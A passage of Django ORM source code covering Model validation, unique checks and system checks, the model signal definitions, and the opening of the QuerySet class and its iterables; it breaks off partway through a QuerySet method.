                # distinguish these two cases, the object's existence in the
                # database is again checked for if the UPDATE query returns 0.
                return filtered._update(values) > 0 or filtered.exists()
            else:
                return False
        return filtered._update(values) > 0

    def _do_insert(self, manager, using, fields, update_pk, raw):
        """
        Do an INSERT. If update_pk is defined then this method should return
        the new pk for the model.
        """
        return manager._insert([self], fields=fields, return_id=update_pk,
                               using=using, raw=raw)

    def delete(self, using=None, keep_parents=False):
        using = using or router.db_for_write(self.__class__, instance=self)
        assert self._get_pk_val() is not None, (
            "%s object can't be deleted because its %s attribute is set to None." %
            (self._meta.object_name, self._meta.pk.attname)
        )

        collector = Collector(using=using)
        collector.collect([self], keep_parents=keep_parents)
        return collector.delete()

    delete.alters_data = True

    def _get_FIELD_display(self, field):
        value = getattr(self, field.attname)
        return force_text(dict(field.flatchoices).get(value, value), strings_only=True)

    def _get_next_or_previous_by_FIELD(self, field, is_next, **kwargs):
        if not self.pk:
            raise ValueError("get_next/get_previous cannot be used on unsaved objects.")
        op = 'gt' if is_next else 'lt'
        order = '' if is_next else '-'
        param = force_text(getattr(self, field.attname))
        q = Q(**{'%s__%s' % (field.name, op): param})
        q = q | Q(**{field.name: param, 'pk__%s' % op: self.pk})
        qs = self.__class__._default_manager.using(self._state.db).filter(**kwargs).filter(q).order_by(
            '%s%s' % (order, field.name), '%spk' % order
        )
        try:
            return qs[0]
        except IndexError:
            raise self.DoesNotExist("%s matching query does not exist." % self.__class__._meta.object_name)

    def _get_next_or_previous_in_order(self, is_next):
        cachename = "__%s_order_cache" % is_next
        if not hasattr(self, cachename):
            op = 'gt' if is_next else 'lt'
            order = '_order' if is_next else '-_order'
            order_field = self._meta.order_with_respect_to
            filter_args = order_field.get_filter_kwargs_for_object(self)
            obj = self.__class__._default_manager.filter(**filter_args).filter(**{
                '_order__%s' % op: self.__class__._default_manager.values('_order').filter(**{
                    self._meta.pk.name: self.pk
                })
            }).order_by(order)[:1].get()
            setattr(self, cachename, obj)
        return getattr(self, cachename)

    def prepare_database_save(self, field):
        if self.pk is None:
            raise ValueError("Unsaved model instance %r cannot be used in an ORM query." % self)
        return getattr(self, field.remote_field.get_related_field().attname)

    def clean(self):
        """
        Hook for doing any extra model-wide validation after clean() has been
        called on every field by self.clean_fields. Any ValidationError raised
        by this method will not be associated with a particular field; it will
        have a special-case association with the field defined by NON_FIELD_ERRORS.
        """
        pass

    def validate_unique(self, exclude=None):
        """
        Checks unique constraints on the model and raises ``ValidationError``
        if any failed.
        """
        unique_checks, date_checks = self._get_unique_checks(exclude=exclude)

        errors = self._perform_unique_checks(unique_checks)
        date_errors = self._perform_date_checks(date_checks)

        for k, v in date_errors.items():
            errors.setdefault(k, []).extend(v)

        if errors:
            raise ValidationError(errors)

    def _get_unique_checks(self, exclude=None):
        """
        Gather a list of checks to perform. Since validate_unique could be
        called from a ModelForm, some fields may have been excluded; we can't
        perform a unique check on a model that is missing fields involved
        in that check.
        Fields that did not validate should also be excluded, but they need
        to be passed in via the exclude argument.
        """
        if exclude is None:
            exclude = []
        unique_checks = []

        unique_togethers = [(self.__class__, self._meta.unique_together)]
        for parent_class in self._meta.get_parent_list():
            if parent_class._meta.unique_together:
                unique_togethers.append((parent_class, parent_class._meta.unique_together))

        for model_class, unique_together in unique_togethers:
            for check in unique_together:
                for name in check:
                    # If this is an excluded field, don't add this check.
                    if name in exclude:
                        break
                else:
                    unique_checks.append((model_class, tuple(check)))

        # These are checks for the unique_for_<date/year/month>.
        date_checks = []

        # Gather a list of checks for fields declared as unique and add them to
        # the list of checks.

        fields_with_class = [(self.__class__, self._meta.local_fields)]
        for parent_class in self._meta.get_parent_list():
            fields_with_class.append((parent_class, parent_class._meta.local_fields))

        for model_class, fields in fields_with_class:
            for f in fields:
                name = f.name
                if name in exclude:
                    continue
                if f.unique:
                    unique_checks.append((model_class, (name,)))
                if f.unique_for_date and f.unique_for_date not in exclude:
                    date_checks.append((model_class, 'date', name, f.unique_for_date))
                if f.unique_for_year and f.unique_for_year not in exclude:
                    date_checks.append((model_class, 'year', name, f.unique_for_year))
                if f.unique_for_month and f.unique_for_month not in exclude:
                    date_checks.append((model_class, 'month', name, f.unique_for_month))
        return unique_checks, date_checks

    def _perform_unique_checks(self, unique_checks):
        errors = {}

        for model_class, unique_check in unique_checks:
            # Try to look up an existing object with the same values as this
            # object's values for all the unique field.

            lookup_kwargs = {}
            for field_name in unique_check:
                f = self._meta.get_field(field_name)
                lookup_value = getattr(self, f.attname)
                # TODO: Handle multiple backends with different feature flags.
                if (lookup_value is None or
                        (lookup_value == '' and connection.features.interprets_empty_strings_as_nulls)):
                    # no value, skip the lookup
                    continue
                if f.primary_key and not self._state.adding:
                    # no need to check for unique primary key when editing
                    continue
                lookup_kwargs[str(field_name)] = lookup_value

            # some fields were skipped, no reason to do the check
            if len(unique_check) != len(lookup_kwargs):
                continue

            qs = model_class._default_manager.filter(**lookup_kwargs)

            # Exclude the current object from the query if we are editing an
            # instance (as opposed to creating a new one)
            # Note that we need to use the pk as defined by model_class, not
            # self.pk. These can be different fields because model inheritance
            # allows single model to have effectively multiple primary keys.
            # Refs #17615.
            model_class_pk = self._get_pk_val(model_class._meta)
            if not self._state.adding and model_class_pk is not None:
                qs = qs.exclude(pk=model_class_pk)
            if qs.exists():
                if len(unique_check) == 1:
                    key = unique_check[0]
                else:
                    key = NON_FIELD_ERRORS
                errors.setdefault(key, []).append(self.unique_error_message(model_class, unique_check))

        return errors

    def _perform_date_checks(self, date_checks):
        errors = {}
        for model_class, lookup_type, field, unique_for in date_checks:
            lookup_kwargs = {}
            # there's a ticket to add a date lookup, we can remove this special
            # case if that makes it's way in
            date = getattr(self, unique_for)
            if date is None:
                continue
            if lookup_type == 'date':
                lookup_kwargs['%s__day' % unique_for] = date.day
                lookup_kwargs['%s__month' % unique_for] = date.month
                lookup_kwargs['%s__year' % unique_for] = date.year
            else:
                lookup_kwargs['%s__%s' % (unique_for, lookup_type)] = getattr(date, lookup_type)
            lookup_kwargs[field] = getattr(self, field)

            qs = model_class._default_manager.filter(**lookup_kwargs)
            # Exclude the current object from the query if we are editing an
            # instance (as opposed to creating a new one)
            if not self._state.adding and self.pk is not None:
                qs = qs.exclude(pk=self.pk)

            if qs.exists():
                errors.setdefault(field, []).append(
                    self.date_error_message(lookup_type, field, unique_for)
                )
        return errors

    def date_error_message(self, lookup_type, field_name, unique_for):
        opts = self._meta
        field = opts.get_field(field_name)
        return ValidationError(
            message=field.error_messages['unique_for_date'],
            code='unique_for_date',
            params={
                'model': self,
                'model_name': six.text_type(capfirst(opts.verbose_name)),
                'lookup_type': lookup_type,
                'field': field_name,
                'field_label': six.text_type(capfirst(field.verbose_name)),
                'date_field': unique_for,
                'date_field_label': six.text_type(capfirst(opts.get_field(unique_for).verbose_name)),
            }
        )

    def unique_error_message(self, model_class, unique_check):
        opts = model_class._meta

        params = {
            'model': self,
            'model_class': model_class,
            'model_name': six.text_type(capfirst(opts.verbose_name)),
            'unique_check': unique_check,
        }

        # A unique field
        if len(unique_check) == 1:
            field = opts.get_field(unique_check[0])
            params['field_label'] = six.text_type(capfirst(field.verbose_name))
            return ValidationError(
                message=field.error_messages['unique'],
                code='unique',
                params=params,
            )

        # unique_together
        else:
            field_labels = [capfirst(opts.get_field(f).verbose_name) for f in unique_check]
            params['field_labels'] = six.text_type(get_text_list(field_labels, _('and')))
            return ValidationError(
                message=_("%(model_name)s with this %(field_labels)s already exists."),
                code='unique_together',
                params=params,
            )

    def full_clean(self, exclude=None, validate_unique=True):
        """
        Calls clean_fields, clean, and validate_unique, on the model,
        and raises a ``ValidationError`` for any errors that occurred.
        """
        errors = {}
        if exclude is None:
            exclude = []
        else:
            exclude = list(exclude)

        try:
            self.clean_fields(exclude=exclude)
        except ValidationError as e:
            errors = e.update_error_dict(errors)

        # Form.clean() is run even if other validation fails, so do the
        # same with Model.clean() for consistency.
        try:
            self.clean()
        except ValidationError as e:
            errors = e.update_error_dict(errors)

        # Run unique checks, but only for fields that passed validation.
        if validate_unique:
            for name in errors.keys():
                if name != NON_FIELD_ERRORS and name not in exclude:
                    exclude.append(name)
            try:
                self.validate_unique(exclude=exclude)
            except ValidationError as e:
                errors = e.update_error_dict(errors)

        if errors:
            raise ValidationError(errors)

    def clean_fields(self, exclude=None):
        """
        Cleans all fields and raises a ValidationError containing a dict
        of all validation errors if any occur.
        """
        if exclude is None:
            exclude = []

        errors = {}
        for f in self._meta.fields:
            if f.name in exclude:
                continue
            # Skip validation for empty fields with blank=True. The developer
            # is responsible for making sure they have a valid value.
            raw_value = getattr(self, f.attname)
            if f.blank and raw_value in f.empty_values:
                continue
            try:
                setattr(self, f.attname, f.clean(raw_value, self))
            except ValidationError as e:
                errors[f.name] = e.error_list

        if errors:
            raise ValidationError(errors)

    @classmethod
    def check(cls, **kwargs):
        errors = []
        errors.extend(cls._check_swappable())
        errors.extend(cls._check_model())
        errors.extend(cls._check_managers(**kwargs))
        if not cls._meta.swapped:
            errors.extend(cls._check_fields(**kwargs))
            errors.extend(cls._check_m2m_through_same_relationship())
            errors.extend(cls._check_long_column_names())
            clash_errors = cls._check_id_field() + cls._check_field_name_clashes()
            errors.extend(clash_errors)
            # If there are field name clashes, hide consequent column name
            # clashes.
            if not clash_errors:
                errors.extend(cls._check_column_name_clashes())
            errors.extend(cls._check_index_together())
            errors.extend(cls._check_unique_together())
            errors.extend(cls._check_ordering())

        return errors

    @classmethod
    def _check_swappable(cls):
        """ Check if the swapped model exists. """

        errors = []
        if cls._meta.swapped:
            try:
                apps.get_model(cls._meta.swapped)
            except ValueError:
                errors.append(
                    checks.Error(
                        "'%s' is not of the form 'app_label.app_name'." % cls._meta.swappable,
                        id='models.E001',
                    )
                )
            except LookupError:
                app_label, model_name = cls._meta.swapped.split('.')
                errors.append(
                    checks.Error(
                        "'%s' references '%s.%s', which has not been "
                        "installed, or is abstract." % (
                            cls._meta.swappable, app_label, model_name
                        ),
                        id='models.E002',
                    )
                )
        return errors

    @classmethod
    def _check_model(cls):
        errors = []
        if cls._meta.proxy:
            if cls._meta.local_fields or cls._meta.local_many_to_many:
                errors.append(
                    checks.Error(
                        "Proxy model '%s' contains model fields." % cls.__name__,
                        id='models.E017',
                    )
                )
        return errors

    @classmethod
    def _check_managers(cls, **kwargs):
        """ Perform all manager checks. """

        errors = []
        for manager in cls._meta.managers:
            errors.extend(manager.check(**kwargs))
        return errors

    @classmethod
    def _check_fields(cls, **kwargs):
        """ Perform all field checks. """

        errors = []
        for field in cls._meta.local_fields:
            errors.extend(field.check(**kwargs))
        for field in cls._meta.local_many_to_many:
            errors.extend(field.check(from_model=cls, **kwargs))
        return errors

    @classmethod
    def _check_m2m_through_same_relationship(cls):
        """ Check if no relationship model is used by more than one m2m field.
        """

        errors = []
        seen_intermediary_signatures = []

        fields = cls._meta.local_many_to_many

        # Skip when the target model wasn't found.
        fields = (f for f in fields if isinstance(f.remote_field.model, ModelBase))

        # Skip when the relationship model wasn't found.
        fields = (f for f in fields if isinstance(f.remote_field.through, ModelBase))

        for f in fields:
            signature = (f.remote_field.model, cls, f.remote_field.through)
            if signature in seen_intermediary_signatures:
                errors.append(
                    checks.Error(
                        "The model has two many-to-many relations through "
                        "the intermediate model '%s'." % f.remote_field.through._meta.label,
                        obj=cls,
                        id='models.E003',
                    )
                )
            else:
                seen_intermediary_signatures.append(signature)
        return errors

    @classmethod
    def _check_id_field(cls):
        """ Check if `id` field is a primary key. """
        fields = list(f for f in cls._meta.local_fields if f.name == 'id' and f != cls._meta.pk)
        # fields is empty or consists of the invalid "id" field
        if fields and not fields[0].primary_key and cls._meta.pk.name == 'id':
            return [
                checks.Error(
                    "'id' can only be used as a field name if the field also "
                    "sets 'primary_key=True'.",
                    obj=cls,
                    id='models.E004',
                )
            ]
        else:
            return []

    @classmethod
    def _check_field_name_clashes(cls):
        """ Ref #17673. """

        errors = []
        used_fields = {}  # name or attname -> field

        # Check that multi-inheritance doesn't cause field name shadowing.
        for parent in cls._meta.get_parent_list():
            for f in parent._meta.local_fields:
                clash = used_fields.get(f.name) or used_fields.get(f.attname) or None
                if clash:
                    errors.append(
                        checks.Error(
                            "The field '%s' from parent model "
                            "'%s' clashes with the field '%s' "
                            "from parent model '%s'." % (
                                clash.name, clash.model._meta,
                                f.name, f.model._meta
                            ),
                            obj=cls,
                            id='models.E005',
                        )
                    )
                used_fields[f.name] = f
                used_fields[f.attname] = f

        # Check that fields defined in the model don't clash with fields from
        # parents, including auto-generated fields like multi-table inheritance
        # child accessors.
        for parent in cls._meta.get_parent_list():
            for f in parent._meta.get_fields():
                if f not in used_fields:
                    used_fields[f.name] = f

        for f in cls._meta.local_fields:
            clash = used_fields.get(f.name) or used_fields.get(f.attname) or None
            # Note that we may detect clash between user-defined non-unique
            # field "id" and automatically added unique field "id", both
            # defined at the same model. This special case is considered in
            # _check_id_field and here we ignore it.
            id_conflict = f.name == "id" and clash and clash.name == "id" and clash.model == cls
            if clash and not id_conflict:
                errors.append(
                    checks.Error(
                        "The field '%s' clashes with the field '%s' "
                        "from model '%s'." % (
                            f.name, clash.name, clash.model._meta
                        ),
                        obj=f,
                        id='models.E006',
                    )
                )
            used_fields[f.name] = f
            used_fields[f.attname] = f

        return errors

    @classmethod
    def _check_column_name_clashes(cls):
        # Store a list of column names which have already been used by other fields.
        used_column_names = []
        errors = []

        for f in cls._meta.local_fields:
            _, column_name = f.get_attname_column()

            # Ensure the column name is not already in use.
            if column_name and column_name in used_column_names:
                errors.append(
                    checks.Error(
                        "Field '%s' has column name '%s' that is used by "
                        "another field." % (f.name, column_name),
                        hint="Specify a 'db_column' for the field.",
                        obj=cls,
                        id='models.E007'
                    )
                )
            else:
                used_column_names.append(column_name)

        return errors

    @classmethod
    def _check_index_together(cls):
        """ Check the value of "index_together" option. """
        if not isinstance(cls._meta.index_together, (tuple, list)):
            return [
                checks.Error(
                    "'index_together' must be a list or tuple.",
                    obj=cls,
                    id='models.E008',
                )
            ]

        elif any(not isinstance(fields, (tuple, list)) for fields in cls._meta.index_together):
            return [
                checks.Error(
                    "All 'index_together' elements must be lists or tuples.",
                    obj=cls,
                    id='models.E009',
                )
            ]

        else:
            errors = []
            for fields in cls._meta.index_together:
                errors.extend(cls._check_local_fields(fields, "index_together"))
            return errors

    @classmethod
    def _check_unique_together(cls):
        """ Check the value of "unique_together" option. """
        if not isinstance(cls._meta.unique_together, (tuple, list)):
            return [
                checks.Error(
                    "'unique_together' must be a list or tuple.",
                    obj=cls,
                    id='models.E010',
                )
            ]

        elif any(not isinstance(fields, (tuple, list)) for fields in cls._meta.unique_together):
            return [
                checks.Error(
                    "All 'unique_together' elements must be lists or tuples.",
                    obj=cls,
                    id='models.E011',
                )
            ]

        else:
            errors = []
            for fields in cls._meta.unique_together:
                errors.extend(cls._check_local_fields(fields, "unique_together"))
            return errors

    @classmethod
    def _check_local_fields(cls, fields, option):
        from django.db import models

        # In order to avoid hitting the relation tree prematurely, we use our
        # own fields_map instead of using get_field()
        forward_fields_map = {
            field.name: field for field in cls._meta._get_fields(reverse=False)
        }

        errors = []
        for field_name in fields:
            try:
                field = forward_fields_map[field_name]
            except KeyError:
                errors.append(
                    checks.Error(
                        "'%s' refers to the non-existent field '%s'." % (
                            option, field_name,
                        ),
                        obj=cls,
                        id='models.E012',
                    )
                )
            else:
                if isinstance(field.remote_field, models.ManyToManyRel):
                    errors.append(
                        checks.Error(
                            "'%s' refers to a ManyToManyField '%s', but "
                            "ManyToManyFields are not permitted in '%s'." % (
                                option, field_name, option,
                            ),
                            obj=cls,
                            id='models.E013',
                        )
                    )
                elif field not in cls._meta.local_fields:
                    errors.append(
                        checks.Error(
                            "'%s' refers to field '%s' which is not local to model '%s'."
                            % (option, field_name, cls._meta.object_name),
                            hint="This issue may be caused by multi-table inheritance.",
                            obj=cls,
                            id='models.E016',
                        )
                    )
        return errors

    @classmethod
    def _check_ordering(cls):
        """ Check "ordering" option -- is it a list of strings and do all fields
        exist? """
        if cls._meta._ordering_clash:
            return [
                checks.Error(
                    "'ordering' and 'order_with_respect_to' cannot be used together.",
                    obj=cls,
                    id='models.E021',
                ),
            ]

        if cls._meta.order_with_respect_to or not cls._meta.ordering:
            return []

        if not isinstance(cls._meta.ordering, (list, tuple)):
            return [
                checks.Error(
                    "'ordering' must be a tuple or list (even if you want to order by only one field).",
                    obj=cls,
                    id='models.E014',
                )
            ]

        errors = []
        fields = cls._meta.ordering

        # Skip '?' fields.
        fields = (f for f in fields if f != '?')

        # Convert "-field" to "field".
        fields = ((f[1:] if f.startswith('-') else f) for f in fields)

        # Skip ordering in the format field1__field2 (FIXME: checking
        # this format would be nice, but it's a little fiddly).
        fields = (f for f in fields if '__' not in f)

        # Skip ordering on pk. This is always a valid order_by field
        # but is an alias and therefore won't be found by opts.get_field.
        fields = {f for f in fields if f != 'pk'}

        # Check for invalid or non-existent fields in ordering.
        invalid_fields = []

        # Any field name that is not present in field_names does not exist.
        # Also, ordering by m2m fields is not allowed.
        opts = cls._meta
        valid_fields = set(chain.from_iterable(
            (f.name, f.attname) if not (f.auto_created and not f.concrete) else (f.field.related_query_name(),)
            for f in chain(opts.fields, opts.related_objects)
        ))

        invalid_fields.extend(fields - valid_fields)

        for invalid_field in invalid_fields:
            errors.append(
                checks.Error(
                    "'ordering' refers to the non-existent field '%s'." % invalid_field,
                    obj=cls,
                    id='models.E015',
                )
            )
        return errors

    @classmethod
    def _check_long_column_names(cls):
        """
        Check that any auto-generated column names are shorter than the limits
        for each database in which the model will be created.
        """
        errors = []
        allowed_len = None
        db_alias = None

        # Find the minimum max allowed length among all specified db_aliases.
        for db in settings.DATABASES.keys():
            # skip databases where the model won't be created
            if not router.allow_migrate_model(db, cls):
                continue
            connection = connections[db]
            max_name_length = connection.ops.max_name_length()
            if max_name_length is None or connection.features.truncates_names:
                continue
            else:
                if allowed_len is None:
                    allowed_len = max_name_length
                    db_alias = db
                elif max_name_length < allowed_len:
                    allowed_len = max_name_length
                    db_alias = db

        if allowed_len is None:
            return errors

        for f in cls._meta.local_fields:
            _, column_name = f.get_attname_column()

            # Check if auto-generated name for the field is too long
            # for the database.
            if f.db_column is None and column_name is not None and len(column_name) > allowed_len:
                errors.append(
                    checks.Error(
                        'Autogenerated column name too long for field "%s". '
                        'Maximum length is "%s" for database "%s".'
                        % (column_name, allowed_len, db_alias),
                        hint="Set the column name manually using 'db_column'.",
                        obj=cls,
                        id='models.E018',
                    )
                )

        for f in cls._meta.local_many_to_many:
            # Skip nonexistent models.
            if isinstance(f.remote_field.through, six.string_types):
                continue

            # Check if auto-generated name for the M2M field is too long
            # for the database.
            for m2m in f.remote_field.through._meta.local_fields:
                _, rel_name = m2m.get_attname_column()
                if m2m.db_column is None and rel_name is not None and len(rel_name) > allowed_len:
                    errors.append(
                        checks.Error(
                            'Autogenerated column name too long for M2M field '
                            '"%s". Maximum length is "%s" for database "%s".'
                            % (rel_name, allowed_len, db_alias),
                            hint=(
                                "Use 'through' to create a separate model for "
                                "M2M and then set column_name using 'db_column'."
                            ),
                            obj=cls,
                            id='models.E019',
                        )
                    )

        return errors


############################################
# HELPER FUNCTIONS (CURRIED MODEL METHODS) #
############################################

# ORDERING METHODS #########################

def method_set_order(ordered_obj, self, id_list, using=None):
    if using is None:
        using = DEFAULT_DB_ALIAS
    order_wrt = ordered_obj._meta.order_with_respect_to
    filter_args = order_wrt.get_forward_related_filter(self)
    # FIXME: It would be nice if there was an "update many" version of update
    # for situations like this.
    with transaction.atomic(using=using, savepoint=False):
        for i, j in enumerate(id_list):
            ordered_obj.objects.filter(pk=j, **filter_args).update(_order=i)


def method_get_order(ordered_obj, self):
    order_wrt = ordered_obj._meta.order_with_respect_to
    filter_args = order_wrt.get_forward_related_filter(self)
    pk_name = ordered_obj._meta.pk.name
    return ordered_obj.objects.filter(**filter_args).values_list(pk_name, flat=True)


def make_foreign_order_accessors(model, related_model):
    setattr(
        related_model,
        'get_%s_order' % model.__name__.lower(),
        curry(method_get_order, model)
    )
    setattr(
        related_model,
        'set_%s_order' % model.__name__.lower(),
        curry(method_set_order, model)
    )

########
# MISC #
########


def model_unpickle(model_id):
    """
    Used to unpickle Model subclasses with deferred fields.
    """
    if isinstance(model_id, tuple):
        model = apps.get_model(*model_id)
    else:
        # Backwards compat - the model was cached directly in earlier versions.
        model = model_id
    return model.__new__(model)
model_unpickle.__safe_for_unpickle__ = True


def unpickle_inner_exception(klass, exception_name):
    # Get the exception class from the class it is attached to:
    exception = getattr(klass, exception_name)
    return exception.__new__(exception)






import warnings
from functools import partial

from django.db.models.utils import make_model_tuple
from django.dispatch import Signal
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning


class_prepared = Signal(providing_args=["class"])


class ModelSignal(Signal):
    """
    Signal subclass that allows the sender to be lazily specified as a string
    of the `app_label.ModelName` form.
    """
    def _lazy_method(self, method, apps, receiver, sender, **kwargs):
        from django.db.models.options import Options

        # This partial takes a single optional argument named "sender".
        partial_method = partial(method, receiver, **kwargs)
        if isinstance(sender, six.string_types):
            apps = apps or Options.default_apps
            apps.lazy_model_operation(partial_method, make_model_tuple(sender))
        else:
            return partial_method(sender)

    def connect(self, receiver, sender=None, weak=True, dispatch_uid=None, apps=None):
        self._lazy_method(
            super(ModelSignal, self).connect, apps, receiver, sender,
            weak=weak, dispatch_uid=dispatch_uid,
        )

    def disconnect(self, receiver=None, sender=None, weak=None, dispatch_uid=None, apps=None):
        if weak is not None:
            warnings.warn("Passing `weak` to disconnect has no effect.", RemovedInDjango20Warning, stacklevel=2)
        return self._lazy_method(
            super(ModelSignal, self).disconnect, apps, receiver, sender, dispatch_uid=dispatch_uid
        )


pre_init = ModelSignal(providing_args=["instance", "args", "kwargs"], use_caching=True)
post_init = ModelSignal(providing_args=["instance"], use_caching=True)

pre_save = ModelSignal(providing_args=["instance", "raw", "using", "update_fields"],
                       use_caching=True)
post_save = ModelSignal(providing_args=["instance", "raw", "created", "using", "update_fields"], use_caching=True)

pre_delete = ModelSignal(providing_args=["instance", "using"], use_caching=True)
post_delete = ModelSignal(providing_args=["instance", "using"], use_caching=True)

m2m_changed = ModelSignal(
    providing_args=["action", "instance", "reverse", "model", "pk_set", "using"],
    use_caching=True,
)

pre_migrate = Signal(providing_args=["app_config", "verbosity", "interactive", "using", "apps", "plan"])
post_migrate = Signal(providing_args=["app_config", "verbosity", "interactive", "using", "apps", "plan"])






"""
The main QuerySet implementation. This provides the public API for the ORM.
"""

import copy
import sys
import warnings
from collections import OrderedDict, deque

from django.conf import settings
from django.core import exceptions
from django.db import (
    DJANGO_VERSION_PICKLE_KEY, IntegrityError, connections, router,
    transaction,
)
from django.db.models import DateField, DateTimeField, sql
from django.db.models.constants import LOOKUP_SEP
from django.db.models.deletion import Collector
from django.db.models.expressions import F
from django.db.models.fields import AutoField
from django.db.models.functions import Trunc
from django.db.models.query_utils import (
    InvalidQuery, Q, check_rel_lookup_compatibility,
)
from django.db.models.sql.constants import CURSOR
from django.utils import six, timezone
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.functional import cached_property, partition
from django.utils.version import get_version

# The maximum number of items to display in a QuerySet.__repr__
REPR_OUTPUT_SIZE = 20

# Pull into this namespace for backwards compatibility.
EmptyResultSet = sql.EmptyResultSet


class BaseIterable(object):
    def __init__(self, queryset):
        self.queryset = queryset


class ModelIterable(BaseIterable):
    """
    Iterable that yields a model instance for each row.
    """

    def __iter__(self):
        queryset = self.queryset
        db = queryset.db
        compiler = queryset.query.get_compiler(using=db)
        # Execute the query. This will also fill compiler.select, klass_info,
        # and annotations.
        results = compiler.execute_sql()
        select, klass_info, annotation_col_map = (compiler.select, compiler.klass_info,
                                                  compiler.annotation_col_map)
        if klass_info is None:
            return
        model_cls = klass_info['model']
        select_fields = klass_info['select_fields']
        model_fields_start, model_fields_end = select_fields[0], select_fields[-1] + 1
        init_list = [f[0].target.attname
                     for f in select[model_fields_start:model_fields_end]]
        related_populators = get_related_populators(klass_info, select, db)
        for row in compiler.results_iter(results):
            obj = model_cls.from_db(db, init_list, row[model_fields_start:model_fields_end])
            if related_populators:
                for rel_populator in related_populators:
                    rel_populator.populate(row, obj)
            if annotation_col_map:
                for attr_name, col_pos in annotation_col_map.items():
                    setattr(obj, attr_name, row[col_pos])

            # Add the known related objects to the model, if there are any
            if queryset._known_related_objects:
                for field, rel_objs in queryset._known_related_objects.items():
                    # Avoid overwriting objects loaded e.g. by select_related
                    if hasattr(obj, field.get_cache_name()):
                        continue
                    pk = getattr(obj, field.get_attname())
                    try:
                        rel_obj = rel_objs[pk]
                    except KeyError:
                        pass  # may happen in qs1 | qs2 scenarios
                    else:
                        setattr(obj, field.name, rel_obj)

            yield obj


class ValuesIterable(BaseIterable):
    """
    Iterable returned by QuerySet.values() that yields a dict
    for each row.
    """

    def __iter__(self):
        queryset = self.queryset
        query = queryset.query
        compiler = query.get_compiler(queryset.db)

        field_names = list(query.values_select)
        extra_names = list(query.extra_select)
        annotation_names = list(query.annotation_select)

        # extra(select=...) cols are always at the start of the row.
        names = extra_names + field_names + annotation_names

        for row in compiler.results_iter():
            yield dict(zip(names, row))


class ValuesListIterable(BaseIterable):
    """
    Iterable returned by QuerySet.values_list(flat=False)
    that yields a tuple for each row.
    """

    def __iter__(self):
        queryset = self.queryset
        query = queryset.query
        compiler = query.get_compiler(queryset.db)

        if not query.extra_select and not query.annotation_select:
            for row in compiler.results_iter():
                yield tuple(row)
        else:
            field_names = list(query.values_select)
            extra_names = list(query.extra_select)
            annotation_names = list(query.annotation_select)

            # extra(select=...) cols are always at the start of the row.
            names = extra_names + field_names + annotation_names

            if queryset._fields:
                # Reorder according to fields.
                fields = list(queryset._fields) + [f for f in annotation_names if f not in queryset._fields]
            else:
                fields = names

            for row in compiler.results_iter():
                data = dict(zip(names, row))
                yield tuple(data[f] for f in fields)


class FlatValuesListIterable(BaseIterable):
    """
    Iterable returned by QuerySet.values_list(flat=True) that
    yields single values.
    """

    def __iter__(self):
        queryset = self.queryset
        compiler = queryset.query.get_compiler(queryset.db)
        for row in compiler.results_iter():
            yield row[0]


class QuerySet(object):
    """
    Represents a lazy database lookup for a set of objects.
    """

    def __init__(self, model=None, query=None, using=None, hints=None):
        self.model = model
        self._db = using
        self._hints = hints or {}
        self.query = query or sql.Query(self.model)
        self._result_cache = None
        self._sticky_filter = False
        self._for_write = False
        self._prefetch_related_lookups = []
        self._prefetch_done = False
        self._known_related_objects = {}  # {rel_field, {pk: rel_obj}}
        self._iterable_class = ModelIterable
        self._fields = None

    def as_manager(cls):
        # Address the circular dependency between `Queryset` and `Manager`.
        from django.db.models.manager import Manager
        manager = Manager.from_queryset(cls)()
        manager._built_with_as_manager = True
        return manager
    as_manager.queryset_only = True
    as_manager = classmethod(as_manager)

    ########################
    # PYTHON MAGIC METHODS #
    ########################

    def __deepcopy__(self, memo):
        """
        Deep copy of a QuerySet doesn't populate the cache
        """
        obj = self.__class__()
        for k, v in self.__dict__.items():
            if k == '_result_cache':
                obj.__dict__[k] = None
            else:
                obj.__dict__[k] = copy.deepcopy(v, memo)
        return obj

    def __getstate__(self):
        """
        Allows the QuerySet to be pickled.
        """
        # Force the cache to be fully populated.
        self._fetch_all()
        obj_dict = self.__dict__.copy()
        obj_dict[DJANGO_VERSION_PICKLE_KEY] = get_version()
        return obj_dict

    def __setstate__(self, state):
        msg = None
        pickled_version = state.get(DJANGO_VERSION_PICKLE_KEY)
        if pickled_version:
            current_version = get_version()
            if current_version != pickled_version:
                msg = (
                    "Pickled queryset instance's Django version %s does not "
                    "match the current version %s." % (pickled_version, current_version)
                )
        else:
            msg = "Pickled queryset instance's Django version is not specified."

        if msg:
            warnings.warn(msg, RuntimeWarning, stacklevel=2)

        self.__dict__.update(state)

    def __repr__(self):
        data = list(self[:REPR_OUTPUT_SIZE + 1])
        if len(data) > REPR_OUTPUT_SIZE:
            data[-1] = "...(remaining elements truncated)..."
        return '<QuerySet %r>' % data

    def __len__(self):
        self._fetch_all()
        return len(self._result_cache)

    def __iter__(self):
        """
        The queryset iterator protocol uses three nested iterators in the
        default case:
            1. sql.compiler:execute_sql()
               - Returns 100 rows at time (constants.GET_ITERATOR_CHUNK_SIZE)
                 using cursor.fetchmany(). This part is responsible for
                 doing some column masking, and returning the rows in chunks.
            2. sql/compiler.results_iter()
               - Returns one row at time. At this point the rows are still just
                 tuples. In some cases the return values are converted to
                 Python values at this location.
            3. self.iterator()
               - Responsible for turning the rows into model objects.
        """
        self._fetch_all()
        return iter(self._result_cache)

    def __bool__(self):
        self._fetch_all()
        return bool(self._result_cache)

    def __nonzero__(self):      # Python 2 compatibility
        return type(self).__bool__(self)

    def __getitem__(self, k):
        """
        Retrieves an item or slice from the set of results.
        """
        if not isinstance(k, (slice,) + six.integer_types):
            raise TypeError
        assert ((not isinstance(k, slice) and (k >= 0)) or
                (isinstance(k, slice) and (k.start is None or k.start >= 0) and
                 (k.stop is None or k.stop >= 0))), \
            "Negative indexing is not supported."

        if self._result_cache is not None:
            return self._result_cache[k]

        if isinstance(k, slice):
            qs = self._clone()
            if k.start is not None:
                start = int(k.start)
            else:
                start = None
            if k.stop is not None:
                stop = int(k.stop)
            else:
                stop = None
            qs.query.set_limits(start, stop)
            return list(qs)[::k.step] if k.step else qs

        qs = self._clone()
        qs.query.set_limits(k, k + 1)
        return list(qs)[0]

    def __and__(self, other):
        self._merge_sanity_check(other)
        if isinstance(other, EmptyQuerySet):
            return other
        if isinstance(self, EmptyQuerySet):
            return self
        combined = self._clone()
        combined._merge_known_related_objects(other)
        combined.query.combine(other.query, sql.AND)
        return combined

    def __or__(self, other):
        self._merge_sanity_check(other)
        if isinstance(self, EmptyQuerySet):
            return other
